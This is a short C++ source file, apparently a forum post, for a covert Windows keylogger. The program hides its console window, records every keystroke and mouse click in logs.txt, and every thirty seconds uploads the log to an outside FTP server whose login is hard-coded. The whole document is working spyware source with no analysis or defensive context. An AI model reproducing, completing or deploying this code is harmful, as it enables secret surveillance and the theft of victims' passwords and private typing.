raw:
Code:
clock_t startTime;
void WriteLog(LPCSTR text) {
ofstream outfile;
outfile.open("logs.txt", ofstream::app);
outfile << text;
outfile.close();
}
void sendtoFTP() {
clock_t endTime = clock();
clock_t clockTicksTaken = endTime - startTime;
double timeInSeconds = clockTicksTaken;
if(timeInSeconds > 30000)
{
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
cout << "Error: " << GetLastError();
}
else
{
hFtpSession = InternetConnect(hInternet, "EINFTPSERVER.COM", INTERNET_DEFAULT_FTP_PORT, "name", "pass", INTERNET_SERVICE_FTP, 0, 0);
if (hFtpSession == NULL)
{
cout << "Error: " << GetLastError();
}
else
{
if (!FtpPutFile(hFtpSession, "logs.txt", "logs.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "Error: " << GetLastError();
}
}
}
startTime = clock();
}
}
bool KeyIsListed(int iGetKey) {
switch (iGetKey)
{
case VK_LBUTTON:
WriteLog(" *LeftM* ");
break;
case VK_RBUTTON:
WriteLog(" *RightM* ");
break;
case VK_CONTROL:
WriteLog(" *Ctrl* ");
break;
case VK_SHIFT:
WriteLog(" *Shift* ");
break;
case VK_RETURN:
WriteLog("\n");
case VK_SPACE:
WriteLog(" ");
break;
default: return FALSE;
}
}
int main()
{
ShowWindow (GetConsoleWindow(), SW_HIDE);
char key; //char for storing our keylogged key
while (TRUE)
{
Sleep(10); //wait 10 ms
for (key = 8; key <= 190; key++) //loop
{
if (GetAsyncKeyState(key) == -32767) {
if (KeyIsListed(key) == FALSE)
{
ofstream outfile;
outfile.open("logs.txt", ofstream::app);
outfile << key;
outfile.close();
sendtoFTP();
}
else {
}
}
}
}
return EXIT_SUCCESS;
}